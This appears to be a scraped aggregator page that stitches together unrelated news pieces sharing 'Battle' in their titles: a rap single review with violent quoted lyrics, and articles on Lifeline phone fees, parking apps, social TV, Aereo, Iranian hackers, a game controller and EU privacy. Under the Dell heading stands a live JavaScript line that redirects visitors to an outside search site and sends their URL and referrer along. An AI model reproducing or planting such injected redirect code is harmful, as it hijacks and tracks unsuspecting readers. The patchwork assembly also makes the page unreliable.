Rick Ross and Jeezy Prepare for Battle on 'War Ready'

Contact Us

Def Jam Rappers Rick Ross and Jeezy end their long-standing beef and team up to annihilate haters on the bombastic song ‘War Ready.’ The single will appear on Rozay’s upcoming album ‘Mastermind.’

Produced by Mike WiLL Made It, the track features the Miami boss and the CTE leader aiming lyrical shots at anyone who dare to cross their path.

“War ready, the game just wanna take my life / War ready, p—- boy we all could die tonight / War ready, fast cash above the law / War ready, gas mask when them choppers talk,” seethes Ross on the song.

Jeezy follows as he steps to the frontline and sprays his gritty rhymes at his detractors.

“Give me the K and a shovel, I’ll bury that n—- / Be his pallbearer, so I can carry that n—- / What you gonna hit him with, the Glock or the chop? / Look I wouldn’t give a f— if they were sharin’ that n—-,” he raps.

Fair warning, Ross and Jeezy’s nihilistic lyrics can be a little overbearing over the course of seven minutes. Nevertheless, it’s good to see two rap powerhouses end their feud and make music together.

Rick Ross’ ‘Mastermind,’ due out March 4, boasts guest appearances from Jay Z, Lil Wayne, Kanye West, the Weeknd, Meek Mill, Scarface, Big Sean and more. Peep the LP’s tracklist below.

‘Mastermind’ Tracklist:

Def Jam

Listen to Rick Ross’ Song ‘War Ready’ Feat. Jeezy

It appears that you already have an account created within our VIP network of sites on . To keep your points and personal information safe, we need to verify that it's really you. To activate your account, please confirm your password. When you have confirmed your password, you will be able to log in through Facebook on both sites.

Enter your password Forgot your password?

It appears that you already have an account on this site associated with . To connect your existing account with your Facebook account, just click on the account activation button below. You will maintain your existing profile and VIP program points. After you do this, you will be able to always log in to http://theboombox.com/ using your Facebook account.

Sign up for an account to comment, share your thoughts, and earn points to get great prizes.

Register on The Boombox quickly by logging in with your Facebook account. It's just as secure, and no password to remember!

View the original article here

Bits: At C.E.S. 2014, a Battle for the Next Generation of Computing

In Battle Against Fraud in Free Phone Service, the Poor Might Pay the Price

“If it weren’t for my free phone, there were a few times I wouldn’t have made it to the hospital,” said Ms. James, who is unemployed because of chronic health problems and has no other telephone or Internet connection in her home. She is among the 15.3 million people in the United States who receive the Lifeline telephone service because they meet income guidelines or are enrolled in programs like Medicaid or food stamps.

But the fundamental feature of the program on which Ms. James relies — 250 minutes of free wireless service a month — is at the center of a legal battle linked to a new tactic to reduce fraud in the program. The outcome could have far-reaching consequences for the telecommunications industry and for millions of impoverished Americans.

Alarmed by accounts of households that have more than one subsidized phone — a breach of federal guidelines — and other allegations of fraud, the Georgia Public Service Commission voted this year to make this state the first to require phone companies to collect a fee of at least $5 a month from Lifeline users.

As an alternative, in an effort to force the service providers to better police phone usage, the commission also said that the companies could, for the same compensation they already receive from the government, offer participants 500 minutes a month. But the companies denounced that option.

Georgia regulators made their move about three years after the Government Accountability Office reported that officials from 21 states “indicated that they were somewhat or very concerned about consumer fraud in the Lifeline program.”

Georgia’s mandate, which had been scheduled to take effect in January before a judge in Atlanta granted an injunction last week, prompted outrage from some advocates for the poor, and a legal challenge from a trade group that represents cellphone companies. The group argued that Georgia was circumventing federal law to set rates.

But the author of the regulation has argued that the fee’s benefits outweigh the risks, and that it would do much to reduce Georgia’s share of fraud in the Lifeline program, which began in 1985 and was expanded to include wireless coverage two decades later.

“There’s always going to be collateral damage when you’re having a war, and we’re having a war with fraud and abuse,” Commissioner H. Doug Everett told WABE Radio in October.

Stan Wise, one of two public service commissioners who voted against the new regulation, conceded that the Lifeline program has been rife with misconduct, but warned that the fee would be ineffective and damaging.

“What it really does is harm those in the most need and the ones that the program was designed to help,” Mr. Wise said. “If you have three Lifelines and it’s important to you to have the three phones, what’s $15 to you if you’re promoting fraud?”

The program’s troubles have received widespread attention. Aware of the criticisms, the Federal Communications Commission, which cited the potential for “a significant burden on some classes of Lifeline consumers” when it turned back a plan in 2012 to impose monthly fees across the country, has started a campaign to clean up the program, including the introduction of new national databases tracking eligibility and participation.

But if Georgia’s new policy can survive in court, it could be replicated elsewhere by anxious state regulators.

“These sorts of cases are relatively unusual,” said James B. Speta, a professor at Northwestern University who specializes in telecommunications law. “So in a second state or a third state, they will certainly look at what happened in Georgia.”

As the legal battle plays out, Georgia residents who have Lifeline phones are beginning to contemplate what they will do if the fee is put in effect.

Ms. James, who has a monthly budget of about $350, said she was likely to have to choose between her phone and one of the six prescription medications she takes every day.

“I’ve got medicines I’ve got to buy with $5,” said Ms. James, 47, who lives just northwest of Atlanta and said she has medical debts well into six figures after numerous hospitalizations and health issues that include chronic bronchitis and gastrointestinal ailments.

Others who have the Lifeline phones, including Brenda Florence, said they would immediately return them.

“They’re supposed to be free,” said Ms. Florence, 60, who pays for a home landline and cell service but also participates in Lifeline because she receives Medicaid benefits. “I’m going to put it in the box and mail it back.”

In Georgia, where nearly 721,000 people use Lifeline, the debate has also exposed a fissure among those who work to aid people in poverty.

At the Christian Aid Mission Partnership, which provides food and clothing to the region’s poor and sometimes hosts phone providers offering their wares, officials said they endorsed the state’s new effort to stem fraud.

“I think there should be some skin in the game,” said Linda Oviatt, the organization’s outreach director. But she added that she generally supported the Lifeline program because it was “a godsend” for many of her clients.

Other advocates for the poor, though, have been sharply critical of Georgia’s plan.

“The proposed fee simply serves as a penalty on the poor,” the Rainbow PUSH Coalition wrote in an October letter to commissioners. “It is, in essence, a tax being arbitrarily applied to those who can least afford it and an incursion by the P.S.C. on the free market business practices of private companies.”

Back on Lot 54, Ms. James, whose kitchen on a recent day was cluttered with boxed and canned foods, said she thought the debate should focus less on complex legal arguments. She merely wants to keep her aging flip phone.

“It’s so hard on someone who is on a fixed, fixed income,” she said. “It was just an honor to get something that is going to help me.”

Secret Weapon in Mall Battle: Parking Apps

She checks the parking lots on her ParkMe smartphone app “so that I can see what I’m up against, or if I need to change my plans.” If a lot is below 90 percent full, the trip is on. Her favorite, not far from her workplace, is a garage at the Santa Monica Place mall, where sensors and lights guide her to a specific open space.

“It’s a daily battle,” said Ms. Scott, 29, the founder of Laudville, a social technology start-up. “Anything to make it easier makes a really big difference.”

The fight for a mall parking spot, long a necessary evil of Black Friday, is growing easier thanks to the proliferation of new technologies, from apps and sensors to color-coded lights and electronic boards.

It’s one way that malls and shopping districts are trying to lure customers away from their computers, into the realm of their brick-and-mortar stores.

“What happens when there’s no spots? People drive around and become frustrated,” said Kathy Grannis, a spokeswoman for the National Retail Federation. “Who wants to start their shopping experience frustrated?”

ParkMe, which tracks more than 28,000 locations worldwide, has emerged as a mainstay app for mall customers navigating the nation’s parking lots. With the app, they can find the closest and least expensive lots, as well as alternative garage entrances. The app’s user base surged 97 percent in the past year, and it is adding hundreds of garages to its database.

“If there’s a way to get in off the beaten path, you can reduce stress,” said Sam Friedman, ParkMe’s co-founder and chief executive.

The app’s technology is simple enough: a magnetic loop at the garage clocks the number of times the gate lifts to admit or release a car, Mr. Friedman said. ParkMe also lets a customer reserve a spot in certain locations, like the Shore Hotel down the road from Santa Monica Place. Ms. Scott said she used that service during busy summer months.

Other parking apps are gaining traction as well. Parkopedia, which is linked to 26,000 lots in North America, also allows users to search parking sites, availability and prices using their smartphones. QuickPay plans to start in hundreds of malls in the United States next year to help shoppers pay for garage and metered spots and valet services from their smartphone.

“Parking is the gateway to the shopping experience,” QuickPay’s founder, Barney Pell, said. “It can mean the success or failure of your whole business.”

Customers expect more than they did 10 years ago, said Casey Jones, a vice president for institutional services at Standard Parking, the Chicago-based provider of parking facility management services, and a past chairman of the International Parking Institute.

“They want real-time information, they want price choices and they want to be directed to an open space,” Mr. Jones said.

Jessi Molohon, a 23-year-old student at the University of Texas at Austin, is one such customer. She said she uses the ParkWhiz app when traveling to stores in downtown Houston or at the Houston Galleria to help find garages and compare prices.

“Parking can be anywhere from $6 to $12 on the same street, so I want to make sure I’m not overspending on parking when I’m going to overspend on shopping,” Ms. Molohon said.

An app called A Parking Spot lets Ms. Molohon pin her favorite parking spaces on a Google map so that she can navigate there next time.

“I have it down to a routine,” she said. “There are some spots I know of that are just easy to get in and out of that will help me save time and avoid the holiday traffic just a little.”

There is no data available on the number of mall garages outfitted with sensors to help keep track of vacant spots, but analysts say the rate of adoption for mall infrastructure and the number of parking apps is doubling or tripling year over year.

Taubman Centers, which owns and manages 22 malls in the United States, installed sensors in the garages in two of its centers to show shoppers on which floors they could find open parking spots. Installation costs $50,000 to $100,000 per location.

But parking is only half the battle. When a customer is ready to leave, there is the matter of finding the car.

This article has been revised to reflect the following correction:

Correction: November 28, 2013

An earlier version of this article rendered incorrectly the name of one app. It is ParkWhiz, not Parking Whiz.

Social Networks in a Battle for the Second Screen

The companies were seeking more than just bragging rights.

Facebook and Twitter both see the social conversation around television as a way to increase use of their sites and win a bigger piece of advertisers’ spending, which eMarketer estimates will be $171 billion across all types of media this year in the United States. In recent months, they have engaged in an escalating battle — publicly and behind the scenes — to claim the title of the nation’s digital water cooler as they woo networks and advertisers.

Sorting out which site deserves the crown, however, is tricky. Each company uses its own standard for determining social TV conversation, and unlike other types of Internet traffic, there is no neutral arbiter.

Twitter, citing data calculated by Nielsen’s SocialGuide service under a confidential formula, said about 600,000 people had posted more than 1.2 million messages, or tweets, about the “Breaking Bad” finale over about a 10-hour period surrounding the East and West Coast broadcasts. But that included retweets, which are messages that simply pass along what others have posted.

Facebook said three million people had chimed in on its service. But that counted original posts, comments on those posts and even “likes,” the quick thumbs-up that people can give to a friend’s Facebook item. And the service looked at everything in a 24-hour period that included the broadcasts.

The public relations blitz shows how important old-fashioned television has become to the Internet-era social networks, particularly Twitter. The company, based in San Francisco, has signed TV-related deals with dozens of advertisers and content distributors over the last year, like Verizon Wireless and ESPN, to burnish its growth prospects as it prepares to sell stock to the public for the first time. That initial public offering is likely to take place next month.

Neither Facebook nor Twitter has disclosed how much revenue it makes from advertising related to TV, and some industry experts doubt they are earning much.

Still, there is little question that television is a favorite topic for users. About half of Americans visit social networks while watching TV, and one in six Americans posts comments about shows during their broadcasts, according to a coming report by eMarketer, which found that people in some countries like China and India are even more active in their chatter.

Live events like sports attract the highest engagement. “Sports events comprise somewhere between 2 and 3 percent of TV programming in any given month but generate close to 50 percent of the Twitter activity” around TV, said Sean Casey, senior vice president for product at Nielsen’s SocialGuide unit.

Nielsen has found that the average audience for Twitter messages about a TV show is 50 times the number of people posting messages about the show. If 2,000 people are posting messages about a show, for example, an average of 100,000 people are seeing those messages. The research firm also found that heavy Twitter activity around a popular broadcast can drive more people to both the show and Twitter.

That kind of potential impact intrigues networks and advertisers, and this week, Nielsen began reporting detailed Twitter activity along with conventional TV audience ratings to its clients.

For viewers, the line between what they see on TV and what they see on their smartphones and tablets is quickly blurring.

During this year’s United States Open, for example, the beer maker Heineken sponsored the tennis tournament in New York, the television broadcast and video highlights posted on Twitter, including a remarkable 54-shot rally between Novak Djokovic and Rafael Nadal. Potential viewers could catch up on the matches from anywhere.

“We were trying to bring people to the event who weren’t there,” said Ron Amram, senior media director at Heineken USA. “All of us have realized how powerful Twitter can be to get the conversation going.”

Twitter, considered by many to be the leader in social conversation around live TV, has spent much of 2013 courting networks like Fox and MTV and consumer brands like Heineken. Last week, for example, it signed a deal with the National Football League to distribute football clips sponsored by Verizon Wireless and other companies.

Such partnerships have created a significant new revenue stream for Twitter.

“We’ve built a business around working collaboratively with TV,” said Adam Bain, Twitter’s president of global revenue. “We really see our role as a force multiplier.”

Although Mr. Bain declined to provide financial details about the initiative, the public may learn more when the company files information for prospective investors, which could occur as soon as this week.

Facebook, whose social platform is built more around each individual’s web of relationships than rapid-fire conversation, has a more complicated relationship with TV.

This article has been revised to reflect the following correction:

Correction: October 3, 2013

An earlier version of this article misstated, because of erroneous information provided by Nielsen, the average audience for Twitter messages about a TV show. The number of viewers of such messages was found to be 50 times the number of people posting the messages (some posters send multiple messages); it is not the case that an average of 50 people see each tweet. 

DealBook: Long Battle for Dell Ends in Victory for Founder

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Aereo as Bargaining Chip in Broadcast Fees Battle

The contract dispute between CBS and Time Warner Cable is the first to unfold in the New York metropolitan area since Aereo came to market there last year. Last week, the companies warned that if the dispute was not resolved by Wednesday, CBS could be taken away from three million of Time Warner Cable’s 12 million subscribers.

Enter Aereo. The service, backed by Barry Diller and a number of other venture capitalists, uses giant arrays of antennas to pick up freely available television signals and stream them to the phones, computers and other screens of paying subscribers. By relying on the antennas, Aereo does not pay the kinds of retransmission fees that distributors like Time Warner Cable pay to broadcasters like CBS — an approach that Aereo says is legal, but that the broadcasters say is not.

Analysts have theorized that distributors could exploit Aereo, or a service like it, to avoid paying increasingly steep retransmission fees. Such fees are at the heart of the current fight with CBS.

While Time Warner Cable does not seem ready or willing to deploy Aereo-like technology, a spokeswoman, Maureen Huff, said Sunday that it would recommend Aereo to its New York subscribers if CBS was blacked out. The distributor may also underline the fact that Aereo, which normally costs $8 a month, offers a 30-day free trial. (Ms. Huff also pointed out that many CBS shows are available online on a delayed basis, and that “all of CBS’s broadcast TV programming is available free over-the-air,” so subscribers can use antennas.)

Time Warner Cable is treading carefully because Aereo is the subject of several lawsuits filed by major media companies. In this case, its invocation of Aereo might be particularly corrosive because CBS has helped lead the charge against Aereo in the courts.

To date, the service has been upheld by the Court of Appeals for the Second Circuit in New York; last week, in its third victory there, the appeals court declined to hear the broadcasters’ appeal.

Emboldened by the rulings, Aereo, which is so small that it has not shared any New York subscriber data, recently expanded to Boston and Atlanta; its next market is Chicago, it says, with many more to come. But it has not announced any plans in the West Coast markets covered by the Ninth Circuit Court, where a service similar to Aereo was rejected in December. Given the uncertain state of play, Aereo is of limited use to Time Warner Cable currently; along with New York, the fight with CBS affects subscribers in Los Angeles, Dallas and several smaller markets.

David Bank, a media analyst for RBC Capital Markets, said he would not be shocked if the distributor somehow used Aereo to skirt the blackout, or encouraged subscribers to do so. But he wrote in an e-mail message: “I think it would be more of ‘negotiating tactic’ than a real business solution.”

A CBS spokesman declined to comment. In a statement last week about the potential blackout, the company, whose broadcast network is the highest-rated network in the United States, said it “remains committed to working towards a mutually agreeable contract.”

“This conflict just further highlights the importance of having alternatives in the marketplace,” Chet Kanojia, the chief of Aereo, said in a statement. “It’s also a great reminder that consumers have the right to watch over-the-air television using an antenna. Whether they use Aereo or some other type of antenna, it’s their choice. That’s the beauty of having alternatives.”

U.S. Helps Allies Trying to Battle Iranian Hackers

The American officials would not say which countries in the Persian Gulf have signed up for help in countering Iran’s computer abilities. But the list, some officials say, includes the nations that have been the most active in tracking Iranian arms shipments, intercepting them in ports and providing intelligence to the United States about Iranian actions. The three most active in that arena are Saudi Arabia, the United Arab Emirates and Bahrain.

In Asia, the countries most worried about being struck by North Korean computer attacks are South Korea and Japan.

The Defense Department’s assertive new effort in the gulf and Asia is the latest example of how the Obama administration is increasingly tailoring its national security efforts for a new era of digital conflict, in this case assuring the defense of computer networks and, if necessary, striking back against assaults.

A directive signed by the president that surfaced Friday — the third in a series of leaked documents published by the newspapers The Guardian and The Washington Post — underscored how the Obama administration is trying to prepare itself and its allies. The leaks also revealed how the Obama administration has put in place a large Internet surveillance operation to identify terrorism threats.

The presidential directive included the declaration that the United States reserved the right to take “anticipatory action” against “imminent threats,” a reference, it seemed, to the kind of crippling infrastructure attacks that Iran appears to be working on against American and allied targets.

The new help for strengthening computer-network defenses for allies, which has not been publicly announced, closely parallels earlier efforts by the Obama administration in two volatile parts of the world. In recent years it has helped install advanced missile-defense systems and early-warning radars in Persian Gulf nations to counter Iran’s missile ability, and it has done something similar in Asia in response to North Korea’s nuclear weapons program.

But deterring cyberattacks is a far more complex problem, and American officials concede that this effort, which will include providing computer hardware and software and training to allies, is an experiment. It has been propelled by two high-profile attacks in the past year. One was against Saudi Aramco, Saudi Arabia’s largest, state-run oil producer, and according to American officials it was carried out by Iran. That attack crippled 30,000 computers but did not succeed in halting production. The other, an attack on South Korea’s banking and media companies this spring, was later attributed to North Korea. It froze the ability of several banks to operate for days.

“The Iranian attack on the Saudis was a real wake-up call in the region,” said one senior administration official, who would not speak on the record about the American efforts to counter Iran. “It made everyone realize that while the Iranians might think twice about launching a missile attack in the region, they see cyber as a potent way to lash out in response to sanctions.”

The administration is capitalizing on the fear created by those attacks to build on the de facto alliance against Iran that it has constructed in the region. The Pentagon is drawing up proposals for providing advanced hardware and software for computer-network defense that could be sold throughout the Persian Gulf, much as American aircraft and missiles are sold to Arab allies. Training programs are being put together to teach computer security to military and law enforcement in the region, and to collaborate with private companies.

And, just as the Pentagon conducts naval exercises in the Persian Gulf to practice ways of keeping the Strait of Hormuz open, officials say future joint war games would include simulated cyberattacks, similar to the one Iran conducted against Saudi Aramco.

The idea is to give American and allied forces practice carrying out their missions with their networks under duress, officials said.

The new interagency effort in Washington comes at a time when Israeli and American intelligence officials have been concerned by Iran’s swift advances in its computer weaponry, particularly its ability to disrupt existing infrastructure. As one former senior American military commander said recently, “They have startled everyone with the speed at which their capabilities have increased.”

But one continuing point of dispute is whether Iran and North Korea are working together on the development of cyberweapons, the way they have worked together for years on the development of missile technology.

A senior Israeli military official said Israel had evidence that Iran and North Korea were beginning to collaborate on developing cyberweapons. He declined to cite the specific evidence.

Although there is concern in Washington that cooperation between Iran and North Korea could spread to computer tools, American officials say there is no proof of such collaboration.

Gadgetwise Blog: When Superman and Batman Battle, You Need a Big Weapon

The “Injustice: Gods Among Us” Battle Edition includes the video game, three skins and a fight stick.

Accompanying the release on Tuesday of “Injustice: Gods Among Us,” the new fighting game from Warner Bros. Interactive Entertainment, was a range of supporting products, including comic books, action figures, an album and a mobile app. One of the largest accessories is a fight stick that is included with the Battle Edition of the game.

A fight stick is hardly the agile combat weapon it sounds like; it’s basically a large, boxy game controller used by serious gamers for tournament play. It’s designed to mimic arcade-style game play, complete with a joy stick. It looks like a throwback to a more primitive era of video games, when Pac-Man was chomping ghosts on an Atari 2600 console.

But the “Injustice” fight stick has its advantages. First, it weighs a mere 3.5 pounds, light enough to rest on your lap. And it has a nonskid surface on the bottom, making it coffee table friendly (although it takes up a lot of real estate).

The biggest benefit, however, is the arrangement of the controls on the top. Eight oversize, illuminated buttons are clustered near the joystick, making them easy to reach with one hand.

The Battle Edition does not come with a manual, so thankfully the setup is intuitive. It has only a single 10-foot USB cable that connects directly to the console. I wish it included a wireless connection.

This was my first experience using a fight stick, but it made playing the game so much easier. Even with its ergonomic design, my Xbox controller was giving me tendonitis. With the fight stick on my lap, I could sit back on the couch and really enjoy the Mortal Combat-style battles among the superheroes and villains of the DC universe.

The “Injustice” Battle Edition is available exclusively at GameStop for $150 and is compatible with PlayStation 3 and Xbox 360 consoles. Included with the fight stick are the “Injustice” video game and three downloadable skins for Batman, Wonder Woman and Superman. I don’t know how much excitement the fight stick would garner among casual game players, especially at that price, but for serious gamers, bigger is better.

Bits Blog: Twitter Adds Photo Filters in Battle With Instagram

Twitter

So many filters, so little time.

Twitter on Monday announced a new feature that will allow people to edit photos and apply photo filters from within Twitter-built applications.

In a blog post on the company’s Web site, Coleen Baik, a senior designer at Twitter, said that sharing photos has been an important part of the Twitter experience.

“Starting today, you’ll be able to edit and refine your photos, right from Twitter,” Ms. Baik wrote. “The latest versions of Twitter for iPhone and Twitter for Android introduce a few new ways to enhance the images you tweet.”

As I first reported last month, Twitter has been hard at work on filters for some time, hoping to allow people to bypass other photo-sharing services, like Instagram, now owned by Facebook.

Last week Instagram eliminated the ability of its users to share images directly within Twitter. The two companies, once friends, are now direct competitors.

The Twitter app will offer eight filters, which the company said would include black-and-white and a vintage look, and come with a “bird’s-eye view” mode that shows in a grid view how a photo would change. People can also crop and enhance images from within the app.

Michael Gartenberg, an analyst at Gartner, a technology research firm, said Monday’s announcement was no suprise given the popularity of filters with today’s smartphone-using consumers.

“Twitter is more valuable to most users than other filtering services, such as Instagram,” Mr. Gartenberg said in an e-mail. “Lack of allowing content to flow where users want it to flow means consumers will choose the service of greater value.”

One of the main reasons the company is using its own filters is because of the company’s Very Important Tweeters, known internally as V.I.T.’s, who are usually celebrities and media personalities. Until now, most V.I.T.’s have taken photos with other apps, including Instagram, where they have larger followings. With the latest addition, Twitter hopes to keep those people inside its own service.

Twitter’s photo filters were built by Aviary, a company that offers software to mobile and Web developers.

I.H.T. Special Report: Technology & Innovation: New Player in E.U. Data Privacy Battle

This January, when Ireland assumes the rotating presidency of the European Union, Mr. Shatter, who is now Ireland’s minister of justice, equality and defense, will take on another big challenge: putting together an agreement to extend the Union’s 17-year-old data protection law to Web businesses and the digital economy.

Mr. Shatter is Ireland’s lead negotiator on the issue in the Council of Ministers, the legislative body in Brussels that acts as the European Parliament’s upper house. The Union’s 27 members are at odds over how to apply E.U. data protection laws in the digital world, and an agreement could require companies like Google, Microsoft, Apple, Facebook and Amazon to provide the bloc’s 503.7 million consumers with far greater control over their online data than people have in the United States.

An important part of the proposal, which is now before two committees in the European Parliament, would require Web companies to ask E.U. citizens for their explicit consent before collecting online data and tracking Internet activity used to tailor marketing and advertising to individuals.

The proposal, which was drafted by Viviane Reding, the vice president of the European Commission, has been welcomed by E.U. privacy regulators, who are battling Google over its data collection practices.

But it is opposed by many large Web businesses, as well as by the American Chamber of Commerce to the European Union. Opponents view the prior consent clause as an onerous condition that threatens an Internet financial model that relies on advertising to pay for content.

That has raised concerns among E.U. lawmakers, who are afraid that overly burdensome regulation would stifle Internet commerce and job growth.

Into this predicament steps Mr. Shatter, 61. In an interview, he said that he looked forward to working on advancing the data protection proposal, which has been packaged as a “regulation,” a rarely used binding form of E.U. law that would take effect immediately upon adoption in Brussels and apply to all 27 member countries.

“There is a need to improve trust and confidence to reassure people that their personal data won’t be misused,” Mr. Shatter said. “Putting stronger data protection standards in place will make individual citizens across Europe more trustful of the technology and its use.”

Mr. Shatter said he would aim for a compromise that recognized the growing importance of the digital economy to the European Union, as well as the need for hard-and-fast legal protections for E.U. citizens, who are increasingly making their purchases and many everyday decisions via the Internet.

Without privacy constraints, those movements online can be tracked.

“I think it is possible to reconcile the legitimate and economically important activities of the advertising industry with privacy issues,” he said. “I don’t think we can commoditize individuals and simply regard them as something of business value to be sold on.”

Such strict new rules would replace a law from 1995, which was conceived as more of a legal directive that effectively limited the possibilities of wide-scale data mining for direct marketing or other commercial purposes.

Because of the existing law’s optional nature and a loophole allowing companies to collect data for “legitimate interests,” Internet companies have been able largely to evade the directive’s principle of obtaining prior consent.

Mr. Shatter has been part of a lot of groundbreaking. His law firm, Gallagher Shatter, was the first in Ireland to represent and win a civil judgment for a victim of sexual abuse by a Catholic priest, which it did in the early 1990s. Mr. Shatter, who is also a trained professional mediator — a skill that could serve him well — has published several books on Irish family law, as well as the 1989 novel “Laura,” a story about a custody battle involving a fictional politician.